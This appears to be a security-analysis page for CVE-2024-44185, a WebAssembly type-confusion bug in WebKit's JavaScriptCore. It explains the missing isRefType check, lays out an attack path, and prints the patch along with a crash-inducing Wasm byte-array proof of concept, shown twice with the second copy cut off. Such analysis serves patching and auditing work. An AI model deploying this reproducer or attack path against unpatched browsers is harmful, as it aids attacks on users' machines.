WebKit · WebKit › JSC Wasm
CVE-2024-44185
Type Confusion in WebKit (JSC Wasm)
Overview
Medium
Severity
5.5
CVSS
No
Exploited ITW
Fixed
Fix Status
Background
- ref.as_non_null
- A WebAssembly typed-function-references instruction that converts a nullable reference into a non-nullable one, trapping if the value is null; it requires a reference-typed operand.
- Typed function references
- A Wasm proposal (gated by Options::useWasmTypedFunctionReferences) adding non-null and typed reference types, expanding the reference-type system beyond funcref/externref.
- Wasm validation
- The static type-checking pass over a module’s bytecode; a soundness gap here lets ill-typed operands reach compilation and execution.
- isRefType
- A predicate that returns whether a Wasm value type is a reference type, the exact check that was missing on the ref.as_non_null operand.
- WASM_VALIDATOR_FAIL_IF
- A macro that aborts validation with an error message when its condition holds, the mechanism used to reject the malformed instruction.
Root Cause Analysis
The patch adds a missing validation to the WebAssembly function parser/validator in Source/JavaScriptCore/wasm/WasmFunctionParser.h, in the handler for the ref.as_non_null instruction (part of the typed function references / GC proposal, gated by Options::useWasmTypedFunctionReferences). The handler pops one operand off the expression stack via WASM_TRY_POP_EXPRESSION_STACK_INTO(ref, …) and then calls addRefAsNonNull(ref, result), which is meant to take a nullable reference and produce its non-null form. The added line is WASM_VALIDATOR_FAIL_IF(!isRefType(ref.type()), "ref.as_non_null ref to type ", ref.type(), " expected a reference type"). The violated invariant is that ref.as_non_null must be applied only to a value of reference type; before the fix the parser accepted whatever type happened to be on top of the stack (e.g. a numeric type such as i32/i64/f32/f64/v128) and passed it to addRefAsNonNull, which assumes a reference operand. Feeding a non-reference value into reference-typed handling is a type confusion: downstream code (the compiler tiers and the runtime representation of the produced non-null reference) treats raw numeric bits as a pointer/reference, so the value’s type tag and its physical interpretation disagree. The added JSTests/wasm/stress/funcref-types.js ships a hand-crafted module that exercises this path (with the typed-function-references option enabled) and previously drove the engine into the unchecked ref.as_non_null, producing the unexpected process crash in the advisory.
The fix restores the invariant by making the validator reject any ref.as_non_null whose operand is not a reference type, failing module validation with a clear error before any code is generated or run.
Key insight
A missing isRefType operand check let ref.as_non_null accept non-reference values, creating an integer/reference type confusion in the Wasm engine; the fix is the classic add-the-validation restoration of the type invariant the compiler downstream assumed.
Attack Path
- Require the feature flag Target environments where useWasmTypedFunctionReferences is enabled (the test uses //@ requireOptions(’–useWasmTypedFunctionReferences=1’)); reachability depends on that option being on.
- Craft a malformed module From JavaScript, build a WebAssembly.Module whose bytecode contains a ref.as_non_null instruction whose operand on the value stack is a non-reference (numeric) type rather than a nullable reference.
- Slip past validation Before the fix the parser only popped the operand and did not check isRefType, so the malformed module validated successfully and was compiled.
- Trigger type confusion Instantiate and call the exported function; addRefAsNonNull and the compiled code treat the numeric operand as a reference, so raw bits are interpreted as a pointer/reference, corrupting the typed value.
- Crash (established) / escalate (background) The commit establishes an unexpected WebContent crash. Standard background: a controllable type confusion between an integer and a GC/function reference is a strong lever for a fake-object/arbitrary-read-write primitive, but this diff does not demonstrate that reliability.
Impact Assessment
The primitive is a validator type-confusion in the Wasm compiler: a non-reference (numeric) value is accepted where a reference is required, so the engine physically interprets attacker-supplied bits as a reference/pointer. Inference: such integer-to-reference confusions in a JIT are historically among the most powerful WebAssembly bugs and can be built toward arbitrary read/write and RCE inside the renderer, but this commit only establishes an unexpected crash and does not demonstrate a controllable primitive. The defect is confined to the WebContent (renderer) process executing the Wasm engine and remains behind the WebContent sandbox; reachability additionally requires the typed-function-references option to be enabled.
Changed Functions
| Function | Change | Notes |
|---|---|---|
catchJSTests/wasm/stress/funcref-types.js |
modified |
Files Changed
Source/JavaScriptCore/wasm/WasmFunctionParser.hJSTests/wasm/stress/funcref-types.js
Audit Directions
- Audit sibling reference instructionsIn WasmFunctionParser.h review every typed-reference / GC opcode handler (ref.as_non_null, ref.cast, ref.test, br_on_null, br_on_non_null, ref.func, struct/array.get/new) for a matching isRefType or exact-type check before the addToContext call; grep WASM_TRY_POP_EXPRESSION_STACK_INTO followed by addRef / addStruct* / addArray* with no WASM_VALIDATOR_FAIL_IF in between.
- Grep for unchecked operand type useSearch WasmFunctionParser.h for handlers that call ref.type() or pass a popped TypedExpression into a context method without first validating isRefType / the expected type, focusing on opcodes added with the typed-function-references and GC proposals.
- Compare with the reference interpreterCross-reference each reference-type opcode’s validation rules against the Wasm typed-references/GC spec to find any WebKit handler whose static checks are weaker than the spec mandates.
- Fuzz under the feature flagsDifferentially fuzz WebKit Wasm validation with –useWasmTypedFunctionReferences=1 (and GC flags) using type-scrambled operands on reference opcodes to surface further accept-then-confuse gaps.
Patch
diff --git a/Source/JavaScriptCore/wasm/WasmFunctionParser.h b/Source/JavaScriptCore/wasm/WasmFunctionParser.h
index 69039e35970b..e22389e044ec 100644
--- a/Source/JavaScriptCore/wasm/WasmFunctionParser.h
+++ b/Source/JavaScriptCore/wasm/WasmFunctionParser.h
@@ -2753,6 +2753,7 @@ FOR_EACH_WASM_MEMORY_STORE_OP(CREATE_CASE)
WASM_PARSER_FAIL_IF(!Options::useWasmTypedFunctionReferences(), "function references are not enabled"_s);
TypedExpression ref;
WASM_TRY_POP_EXPRESSION_STACK_INTO(ref, "ref.as_non_null"_s);
+ WASM_VALIDATOR_FAIL_IF(!isRefType(ref.type()), "ref.as_non_null ref to type ", ref.type(), " expected a reference type");
ExpressionType result;
WASM_TRY_ADD_TO_CONTEXT(addRefAsNonNull(ref, result));
diff --git a/JSTests/wasm/stress/funcref-types.js b/JSTests/wasm/stress/funcref-types.js
new file mode 100644
index 000000000000..ce0e46a94e41
--- /dev/null
+++ b/JSTests/wasm/stress/funcref-types.js
@@ -0,0 +1,10 @@
+//@ requireOptions("--useWasmTypedFunctionReferences=1")
+var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x9F,0x80,0x00,0x04,0x60,0x03,0x7F,0x6F,0x7F,0x01,0x7F,0x60,0x0C,0x7D,0x7F,0x7F,0x7F,0x7F,0x7E,0x7E,0x6F,0x7D,0x7F,0x7F,0x7D,0x00,0x60,0x02,0x7E,0x7D,0x00,0x60,0x00,0x00,0x03,0x82,0x80,0x00,0x01,0x03,0x04,0x85,0x80,0x00,0x01,0x70,0x01,0x01,0x01,0x0D,0x87,0x80,0x00,0x03,0x00,0x01,0x00,0x02,0x00,0x03,0x07,0x88,0x80,0x00,0x01,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x09,0x8B,0x80,0x00,0x01,0x06,0x00,0x41,0x00,0x0B,0x70,0x01,0xD2,0x00,0x0B,0x0A,0xF8,0x89,0x00,0x01,0xF5,0x09,0x05,0x25,0x7F,0x5A,0x7D,0x46,0x6F,0x34,0x7D,0x08,0x7F,0x43,0x36,0x37,0x0E,0x39,0x43,0x13,0x7D,0x14,0x7F,0x43,0x41,0x82,0x41,0xFF,0x43,0x01,0x7D,0x04,0x7F,0x43,0x30,0x38,0x2C,0x31,0x43,0x01,0x7C,0x04,0x7F,0x43,0x35,0x30,0x2C,0x8B,0x98,0x8F,0x8B,0x8F,0x8B,0x94,0x8B,0x8F,0x8B,0xD4,0x10,0x00,0x00,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8B,0x91,0x90,0x8B,0x90,0x8F,0x8F,0x92,0x97,0x8B,0x8F,0x8B,0x8F,0x8B,0x97,0x91,0x43,0x36,0x37,0x1D,0x00,0x43,0x2C,0x00,0x33,0x00,0x94,0x91,0x8B,0x43,0x2C,0x30,0x2C,0x30,0x8F,0x8B,0x8F,0x8B,0x8F,0x92,0x44,0x5E,0x8B,0x90,0x8B,0x90,0x97,0x90,0x91,0x06,0x7D,0x43,0x2C,0x99,0xA1,0x7C,0x10,0x00,0x10,0x00,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x2D,0x19,0x43,0x6E,0x61,0x6D,0x65,0x0B,0x8B,0x91,0x90,0x06,0x7D,0x43,0x2C,0x30,0x00,0x00,0x20,0x41,0x08,0x02,0x40,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x8C,0x00,0x00,0x01,0x19,0x43,0xEC,0x00,0x00,0x00,0x0B,0x8B,0x91,0x90,0x06,0x7D,0x43,0x2C,0x30,0x00,0x00,0x41,0x00,0x08,0x02,0x00,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x19,0x43,0x00,0x00,0x00,0x00,0x0B,0x8F,0x8B,0x8B,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x90,0x8B,0x43,0x08,0x00,0x01,0x00,0x01,0x8B,0x96,0x8B,0x8F,0x8F,0x91,0x20,0x00,0x25,0x00,0x00,0x00,0x1A,0x00,0x01,0x00,0x92,0x91,0x00,0x90,0x75,0x6F,0x6F,0x76,0x8F,0x85,0x8F,0x76,0x4D,0x4F,0x47,0x4E,0x41,0x7F,0xBF,0xFD,0x7E,0x73,0x41,0x00,0x0C,0x00,0x0B,0x78,0x4F,0x1F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8F,0x8B,0xBA,0x8A,0x9E,0x6F,0x9E,0x0E,0xC4,0x80,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8B,0x8B,0x8F,0x72,0x8F,0x7F,0x8F,0x8B,0x95,0x8B,0x70,0x96,0xD0,0x94,0x6C,0x53,0x7F,0x7D,0xE7,0x63,0x91,0x7E,0x7D,0x00,0x60,0x02,0x00,0x03,0x01,0x80,0xC2,0x80,0xC2,0x80,0x0C,0x00,0x0B,0x78,0x4F,0x1F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8F,0x8B,0xBA,0x8A,0x9E,0x6F,0x9E,0x0E,0xC4,0x80,0x8F,0x8F,0x8B,0x8B,0x8F,0x8B,0x8B,0x8B,0x8F,0x72,0xDE,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2F,0x63,0x6C,0x53,0x7F,0x7D,0xE7,0x63,0x91,0x7E,0x7D,0x00,0x60,0x02,0x97,0x01,0x00,0x00,0xC2,0x80,0xC2,0x80,0xC2,0x80,0x01,0xDE,0x81,0x00,0x00,0x00,0x17,0x00,0x01,0xB6,0x4E,0x2F,0x6C,0x69,0x67,0x6E,0x02,0x5F,0x43,0x62,0x17,0x72,0x74,0x2E,0xC2,0x80,0x00,0x80,0x8F,0x97,0x90,0x91,0x06,0x7D,0x43,0x2C,0x99,0x5A,0x83,0xEF,0xFF,0x10,0x00,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x19,0x43,0x6E,0x61,0x6D,0x65,0x0B,0x8B,0x91,0x90,0x06,0x7D,0x43,0x2C,0x30,0x00,0x00,0x20,0x41,0x08,0x02,0x40,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x8C,0x00,0x00,0x01,0x19,0x43,0xEC,0x00,0x00,0x00,0x91,0x7D,0x06,0x90,0x8B,0x0B,0x43,0x2C,0x30,0x00,0x00,0x41,0x00,0x08,0x02,0x00,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x19,0x43,0x00,0x00,0x00,0x00,0x0B,0x8F,0x8B,0x8B,0x8B,0x8F,0x8B,0x01,0x8F,0x19,0x43,0x00,0x00,0x00,0x00,0x0B,0x8F,0x8B,0x8B,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x90,0x8B,0x43,0x08,0x00,0x01,0x00,0x01,0x8B,0x96,0x8B,0x8F,0x8F,0x91,0x20,0x00,0x25,0x00,0x00,0x00,0x1A,0x00,0x01,0x00,0x92,0x91,0x00,0x90,0x75,0x6F,0x6F,0x77,0x8F,0x85,0x8F,0x76,0x4D,0x4F,0x47,0x4E,0x41,0x7F,0xBF,0xFD,0x7E,0x73,0x41,0x00,0x0C,0x00,0x0B,0x78,0x4F,0x1F,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x8F,0x8B,0xBA,0x8A,0x9E,0x6F,0x9E,0x0E,0xC4,0x80,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8B,0x8B,0x8F,0x72,0x8F,0x7F,0x8F,0x8B,0x95,0x8B,0x90,0x2E,0x2F,0x63,0x6C,0x53,0x7F,0x7D,0xE7,0x63,0x91,0x7E,0x7D,0x00,0x60,0x02,0x00,0x03,0x01,0x80,0xC2,0x80,0xC2,0x80,0x0C,0x00,0x0B,0x78,0x4F,0x1F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8F,0x8B,0xBA,0x8A,0x9E,0x6F,0x9E,0x0E,0xC4,0x80,0x8F,0x8F,0x8B,0x8B,0x8F,0x2C,0x31,0x00,0x00,0x39,0x2C,0x31,0x00,0x00,0xB0,0x01,0x00,0x00,0x00,0x95,0x43,0x2F,0x6C,0x69,0x62,0x63,0x6C,0x61,0x6E,0x67,0x5F,0x72,0x74,0x00,0xFD,0x3C,0x30,0x00,0x2A,0x5D,0x00,0x00,0x00,0x96,0x00,0xE0,0x04,0x32,0x9F,0x20,0x00,0x96,0x91,0x43,0x22,0x23,0x7F,0x41,0x92,0x95,0x91,0xB0,0x82,0x69,0x91,0x4B,0x8B,0x43,0x11,0x00,0x00,0x00,0x00,0xF6,0x01,0xEC,0xEE,0x92,0x95,0x91,0x90,0x7D,0xFF,0xFF,0xFF,0x9E,0x43,0x19,0x36,0x00,0x00,0x43,0x32,0x27,0x00,0xF4,0x43,0x31,0x43,0x30,0x61,0x23,0x40,0x5F,0x72,0x74,0x00,0xFD,0x3C,0x3F,0x09,0x00,0x92,0x00,0x00,0x00,0x96,0x92,0x90,0x43,0x00,0x00,0x09,0x22,0x43,0x00,0x00,0x00,0x00,0x3B,0x32,0x9F,0x00,0x00,0x96,0x91,0x43,0x2C,0x31,0x32,0x18,0x92,0x95,0x6F,0x62,0x6A,0x65,0x63,0x02,0x7E,0x7D,0x00,0x60,0x00,0x00,0x03,0x82,0x80,0x00,0x09,0x00,0x04,0x85,0x80,0x00,0x01,0x70,0x01,0x01,0x01,0x05,0x84,0x80,0x0A,0x3F,0xFC,0x43,0x32,0x80,0x10,0x0A,0x1A,0x00,0x43,0x2C,0x31,0x32,0x10,0xCF,0x8B,0x8F,0x0A,0x06,0x8B,0x8F,0x8B,0xCF,0x8B,0x8F,0x8B,0x95,0x8B,0xA2,0x2F,0x6C,0x69,0x62,0xFD,0x6C,0x22,0xF9,0x00,0x00,0x00,0x00,0x1C,0x62,0x1C,0x00,0x00,0x95,0x2C,0x31,0x32,0x00,0x96,0x94,0x91,0x90,0x7E,0x96,0x91,0x30,0x40,0x06,0x00,0x00,0x42,0x2C,0x65,0x91,0x92,0x90,0x00,0x00,0x43,0x00,0x00,0x00,0x00,0x43,0x9F,0x00,0x29,0x00,0x00,0x30,0xFB,0x00,0x00,0x81,0xB5,0x00,0x00,0x00,0x00,0x00,0x00,0x95,0x91,0x90,0x0B,0x6D,0x79,0x10,0x37,0x06,0x80,0xB3,0x61,0x6D,0x73,0x00,0x01,0x00,0x00,0x00,0x08,0x40,0x3F,0x5F,0x43,0x46,0x10,0x90,0x00,0x00,0x43,0x2C,0x31,0x42,0x23,0x0E,0x1A,0x95,0x43,0x2C,0x30,0x00,0x00,0x43,0x2C,0x70,0x00,0x00,0x43,0x32,0x30,0x00,0x00,0x95,0x43,0x2F,0x6C,0x69,0x62,0x63,0x01,0x00,0x00,0x00,0x72,0x00,0x96,0x91,0x95,0x43,0x2C,0x2F,0x6B,0x69,0x62,0x10,0x07,0x3F,0x80,0x67,0x5F,0x72,0x7E,0x31,0x31,0x00,0x00,0x77,0x91,0x53,0x74,0x96,0x00,0x32,0x31,0x94,0x91,0x90,0x86,0x81,0x07,0x43,0x00,0x00,0x00,0x40,0x00,0xC0,0xA1,0xFA,0x5B,0x3E,0x00,0x00,0x43,0x00,0xD9,0x00,0x00,0x00,0x00,0x29,0x76,0x00,0x00,0x00,0x00,0xFD,0x00,0xFF,0xFF,0x00,0x00,0x00,0x8E,0x6F,0x6F,0xF4,0x92,0x86,0x68,0xC9,0xFF,0x80,0xB3,0x00,0x61,0x73,0x7D,0x01,0x00,0x00,0x00,0x08,0x40,0x5F,0x5F,0x43,0x46,0x10,0x90,0x00,0x00,0x43,0x2C,0x31,0x38,0x03,0x00,0x00,0x95,0x43,0xB6,0x07,0x24,0x4F,0x00,0x00,0x01,0xEC,0x00,0x00,0x00,0x18,0x02,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8E,0x8B,0x97,0x91,0x43,0x31,0x38,0x1D,0x00,0x43,0x28,0x00,0x01,0x00,0x94,0x91,0x8B,0x43,0x30,0xBC,0x2C,0x2C,0x00,0x43,0xE7,0xFF,0xFF,0x91,0x91,0xCB,0x43,0x2C,0x30,0x2C,0x30,0x8F,0x8B,0x96,0x8B,0x8F,0x8F,0x91,0x3B,0x00,0x25,0x00,0x00,0x00,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0xE7,0x8B,0x0F,0x8B,0x8F,0x8B,0x92,0x90,0x8B,0x8D,0x93,0x8B,0x43,0x30,0x2C,0x2A,0x14,0xC1,0x8F,0x8B,0x8F,0x05,0x46,0x9C,0xAF,0x40,0x90,0x6F,0x74,0x96,0x91,0xD2,0xEF,0x6F,0x72,0x74,0xFF,0xB6,0x06,0xFD,0x3F,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xF5,0x00,0x00,0x00,0x08,0x00,0x00,]);
+try {
+var wasm_module = new WebAssembly.Module(wasm_code);
+var wasm_instance = new WebAssembly.Instance(wasm_module);
+var f = wasm_instance.exports.main;
+f();
+}
+catch (e) {
+}
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/JSTests/wasm/stress/funcref-types.js b/JSTests/wasm/stress/funcref-types.js
new file mode 100644
index 000000000000..ce0e46a94e41
--- /dev/null
+++ b/JSTests/wasm/stress/funcref-types.js
@@ -0,0 +1,10 @@
+//@ requireOptions("--useWasmTypedFunctionReferences=1")
+var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x9F,0x80,0x00,0x04,0x60,0x03,0x7F,0x6F,0x7F,0x01,0x7F,0x60,0x0C,0x7D,0x7F,0x7F,0x7F,0x7F,0x7E,0x7E,0x6F,0x7D,0x7F,0x7F,0x7D,0x00,0x60,0x02,0x7E,0x7D,0x00,0x60,0x00,0x00,0x03,0x82,0x80,0x00,0x01,0x03,0x04,0x85,0x80,0x00,0x01,0x70,0x01,0x01,0x01,0x0D,0x87,0x80,0x00,0x03,0x00,0x01,0x00,0x02,0x00,0x03,0x07,0x88,0x80,0x00,0x01,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x09,0x8B,0x80,0x00,0x01,0x06,0x00,0x41,0x00,0x0B,0x70,0x01,0xD2,0x00,0x0B,0x0A,0xF8,0x89,0x00,0x01,0xF5,0x09,0x05,0x25,0x7F,0x5A,0x7D,0x46,0x6F,0x34,0x7D,0x08,0x7F,0x43,0x36,0x37,0x0E,0x39,0x43,0x13,0x7D,0x14,0x7F,0x43,0x41,0x82,0x41,0xFF,0x43,0x01,0x7D,0x04,0x7F,0x43,0x30,0x38,0x2C,0x31,0x43,0x01,0x7C,0x04,0x7F,0x43,0x35,0x30,0x2C,0x8B,0x98,0x8F,0x8B,0x8F,0x8B,0x94,0x8B,0x8F,0x8B,0xD4,0x10,0x00,0x00,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8B,0x91,0x90,0x8B,0x90,0x8F,0x8F,0x92,0x97,0x8B,0x8F,0x8B,0x8F,0x8B,0x97,0x91,0x43,0x36,0x37,0x1D,0x00,0x43,0x2C,0x00,0x33,0x00,0x94,0x91,0x8B,0x43,0x2C,0x30,0x2C,0x30,0x8F,0x8B,0x8F,0x8B,0x8F,0x92,0x44,0x5E,0x8B,0x90,0x8B,0x90,0x97,0x90,0x91,0x06,0x7D,0x43,0x2C,0x99,0xA1,0x7C,0x10,0x00,0x10,0x00,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x2D,0x19,0x43,0x6E,0x61,0x6D,0x65,0x0B,0x8B,0x91,0x90,0x06,0x7D,0x43,0x2C,0x30,0x00,0x00,0x20,0x41,0x08,0x02,0x40,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x8C,0x00,0x00,0x01,0x19,0x43,0xEC,0x00,0x00,0x00,0x0B,0x8B,0x91,0x90,0x06,0x7D,0x43,0x2C,0x30,0x00,0x00,0x41,0x00,0x08,0x02,0x00,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x19,0x43,0x00,0x00,0x00,0x00,0x0B,0x8F,0x8B,0x8B,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x90,0x8B,0x43,0x08,0x00,0x01,0x00,0x01,0x8B,0x96,0x8B,0x8F,0x8F,0x91,0x20,0x00,0x25,0x00,0x00,0x00,0x1A,0x00,0x01,0x00,0x92,0x91,0x00,0x90,0x75,0x6F,0x6F,0x76,0x8F,0x85,0x8F,0x76,0x4D,0x4F,0x47,0x4E,0x41,0x7F,0xBF,0xFD,0x7E,0x73,0x41,0x00,0x0C,0x00,0x0B,0x78,0x4F,0x1F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8F,0x8B,0xBA,0x8A,0x9E,0x6F,0x9E,0x0E,0xC4,0x80,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8B,0x8B,0x8F,0x72,0x8F,0x7F,0x8F,0x8B,0x95,0x8B,0x70,0x96,0xD0,0x94,0x6C,0x53,0x7F,0x7D,0xE7,0x63,0x91,0x7E,0x7D,0x00,0x60,0x02,0x00,0x03,0x01,0x80,0xC2,0x80,0xC2,0x80,0x0C,0x00,0x0B,0x78,0x4F,0x1F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8F,0x8B,0xBA,0x8A,0x9E,0x6F,0x9E,0x0E,0xC4,0x80,0x8F,0x8F,0x8B,0x8B,0x8F,0x8B,0x8B,0x8B,0x8F,0x72,0xDE,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2F,0x63,0x6C,0x53,0x7F,0x7D,0xE7,0x63,0x91,0x7E,0x7D,0x00,0x60,0x02,0x97,0x01,0x00,0x00,0xC2,0x80,0xC2,0x80,0xC2,0x80,0x01,0xDE,0x81,0x00,0x00,0x00,0x17,0x00,0x01,0xB6,0x4E,0x2F,0x6C,0x69,0x67,0x6E,0x02,0x5F,0x43,0x62,0x17,0x72,0x74,0x2E,0xC2,0x80,0x00,0x80,0x8F,0x97,0x90,0x91,0x06,0x7D,0x43,0x2C,0x99,0x5A,0x83,0xEF,0xFF,0x10,0x00,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x19,0x43,0x6E,0x61,0x6D,0x65,0x0B,0x8B,0x91,0x90,0x06,0x7D,0x43,0x2C,0x30,0x00,0x00,0x20,0x41,0x08,0x02,0x40,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x8C,0x00,0x00,0x01,0x19,0x43,0xEC,0x00,0x00,0x00,0x91,0x7D,0x06,0x90,0x8B,0x0B,0x43,0x2C,0x30,0x00,0x00,0x41,0x00,0x08,0x02,0x00,0x00,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x1A,0x01,0x19,0x43,0x00,0x00,0x00,0x00,0x0B,0x8F,0x8B,0x8B,0x8B,0x8F,0x8B,0x01,0x8F,0x19,0x43,0x00,0x00,0x00,0x00,0x0B,0x8F,0x8B,0x8B,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x90,0x8B,0x43,0x08,0x00,0x01,0x00,0x01,0x8B,0x96,0x8B,0x8F,0x8F,0x91,0x20,0x00,0x25,0x00,0x00,0x00,0x1A,0x00,0x01,0x00,0x92,0x91,0x00,0x90,0x75,0x6F,0x6F,0x77,0x8F,0x85,0x8F,0x76,0x4D,0x4F,0x47,0x4E,0x41,0x7F,0xBF,0xFD,0x7E,0x73,0x41,0x00,0x0C,0x00,0x0B,0x78,0x4F,0x1F,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x8F,0x8B,0xBA,0x8A,0x9E,0x6F,0x9E,0x0E,0xC4,0x80,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8B,0x8B,0x8F,0x72,0x8F,0x7F,0x8F,0x8B,0x95,0x8B,0x90,0x2E,0x2F,0x63,0x6C,0x53,0x7F,0x7D,0xE7,0x63,0x91,0x7E,0x7D,0x00,0x60,0x02,0x00,0x03,0x01,0x80,0xC2,0x80,0xC2,0x80,0x0C,0x00,0x0B,0x78,0x4F,0x1F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8F,0x8B,0xBA,0x8A,0x9E,0x6F,0x9E,0x0E,0xC4,0x80,0x8F,0x8F,0x8B,0x8B,0x8F,0x2C,0x31,0x00,0x00,0x39,0x2C,0x31,0x00,0x00,0xB0,0x01,0x00,0x00,0x00,0x95,0x43,0x2F,0x6C,0x69,0x62,0x63,0x6C,0x61,0x6E,0x67,0x5F,0x72,0x74,0x00,0xFD,0x3C,0x30,0x00,0x2A,0x5D,0x00,0x00,0x00,0x96,0x00,0xE0,0x04,0x32,0x9F,0x20,0x00,0x96,0x91,0x43,0x22,0x23,0x7F,0x41,0x92,0x95,0x91,0xB0,0x82,0x69,0x91,0x4B,0x8B,0x43,0x11,0x00,0x00,0x00,0x00,0xF6,0x01,0xEC,0xEE,0x92,0x95,0x91,0x90,0x7D,0xFF,0xFF,0xFF,0x9E,0x43,0x19,0x36,0x00,0x00,0x43,0x32,0x27,0x00,0xF4,0x43,0x31,0x43,0x30,0x61,0x23,0x40,0x5F,0x72,0x74,0x00,0xFD,0x3C,0x3F,0x09,0x00,0x92,0x00,0x00,0x00,0x96,0x92,0x90,0x43,0x00,0x00,0x09,0x22,0x43,0x00,0x00,0x00,0x00,0x3B,0x32,0x9F,0x00,0x00,0x96,0x91,0x43,0x2C,0x31,0x32,0x18,0x92,0x95,0x6F,0x62,0x6A,0x65,0x63,0x02,0x7E,0x7D,0x00,0x60,0x00,0x00,0x03,0x82,0x80,0x00,0x09,0x00,0x04,0x85,0x80,0x00,0x01,0x70,0x01,0x01,0x01,0x05,0x84,0x80,0x0A,0x3F,0xFC,0x43,0x32,0x80,0x10,0x0A,0x1A,0x00,0x43,0x2C,0x31,0x32,0x10,0xCF,0x8B,0x8F,0x0A,0x06,0x8B,0x8F,0x8B,0xCF,0x8B,0x8F,0x8B,0x95,0x8B,0xA2,0x2F,0x6C,0x69,0x62,0xFD,0x6C,0x22,0xF9,0x00,0x00,0x00,0x00,0x1C,0x62,0x1C,0x00,0x00,0x95,0x2C,0x31,0x32,0x00,0x96,0x94,0x91,0x90,0x7E,0x96,0x91,0x30,0x40,0x06,0x00,0x00,0x42,0x2C,0x65,0x91,0x92,0x90,0x00,0x00,0x43,0x00,0x00,0x00,0x00,0x43,0x9F,0x00,0x29,0x00,0x00,0x30,0xFB,0x00,0x00,0x81,0xB5,0x00,0x00,0x00,0x00,0x00,0x00,0x95,0x91,0x90,0x0B,0x6D,0x79,0x10,0x37,0x06,0x80,0xB3,0x61,0x6D,0x73,0x00,0x01,0x00,0x00,0x00,0x08,0x40,0x3F,0x5F,0x43,0x46,0x10,0x90,0x00,0x00,0x43,0x2C,0x31,0x42,0x23,0x0E,0x1A,0x95,0x43,0x2C,0x30,0x00,0x00,0x43,0x2C,0x70,0x00,0x00,0x43,0x32,0x30,0x00,0x00,0x95,0x43,0x2F,0x6C,0x69,0x62,0x63,0x01,0x00,0x00,0x00,0x72,0x00,0x96,0x91,0x95,0x43,0x2C,0x2F,0x6B,0x69,0x62,0x10,0x07,0x3F,0x80,0x67,0x5F,0x72,0x7E,0x31,0x31,0x00,0x00,0x77,0x91,0x53,0x74,0x96,0x00,0x32,0x31,0x94,0x91,0x90,0x86,0x81,0x07,0x43,0x00,0x00,0x00,0x40,0x00,0xC0,0xA1,0xFA,0x5B,0x3E,0x00,0x00,0x43,0x00,0xD9,0x00,0x00,0x00,0x00,0x29,0x76,0x00,0x00,0x00,0x00,0xFD,0x00,0xFF,0xFF,0x00,0x00,0x00,0x8E,0x6F,0x6F,0xF4,0x92,0x86,0x68,0xC9,0xFF,0x80,0xB3,0x00,0x61,0x73,0x7D,0x01,0x00,0x00,0x00,0x08,0x40,0x5F,0x5F,0x43,0x46,0x10,0x90,0x00,0x00,0x43,0x2C,0x31,0x38,0x03,0x00,0x00,0x95,0x43,0xB6,0x07,0x24,0x4F,0x00,0x00,0x01,0xEC,0x00,0x00,0x00,0x18,0x02,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8E,0x8B,0x97,0x91,0x43,0x31,0x38,0x1D,0x00,0x43,0x28,0x00,0x01,0x00,0x94,0x91,0x8B,0x43,0x30,0xBC,0x2C,0x2C,0x00,0x43,0xE7,0xFF,0xFF,0x91,0x91,0xCB,0x43,0x2C,0x30,0x2C,0x30,0x8F,0x8B,0x96,0x8B,0x8F,0x8F,0x91,0x3B,0x00,0x25,0x00,0x00,0x00,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0x8F,0x8B,0xE7,0x